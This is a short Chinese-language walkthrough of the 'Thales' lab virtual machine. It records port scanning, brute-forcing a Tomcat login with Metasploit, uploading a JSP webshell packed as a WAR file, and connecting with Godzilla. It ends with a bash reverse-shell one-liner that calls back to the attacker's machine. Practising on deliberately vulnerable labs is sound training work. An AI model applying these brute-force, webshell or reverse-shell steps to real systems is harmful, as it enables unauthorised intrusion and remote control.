Thales靶场

信息收集

将靶机改为net模式，开启kali进行扫描，得到靶机ip

对靶机的端口，目录进行扫描，8080端口是 apache tomcat代理

进入8080端口，点击app出现登录窗口，弱口令没试出来，可以爆破登录窗口

查了一下，都是msf爆破【Web安全】kali渗透工具MSF以及msfconsole命令详解_kali msfconsole-CSDN博客

msfconsole
search tomcat login
use 0
show options
set STOP_ON_SUCCESS true
set RHOSTS （靶场ip）
run

登录上去后，可以找到部署war文件的位置，可以发现可以上传文件

我们将自己的jsp木马文件压缩成zip文件，然后把后缀改成war

访问木马文件，用哥斯拉连接

那么我们进行反弹shell,在kali开启监听，在虚拟终端输入命令进行反弹shell到kali上

bash -c 'bash -i>& /dev/tcp/192.168.247.131/8888 0>&1'

监听成功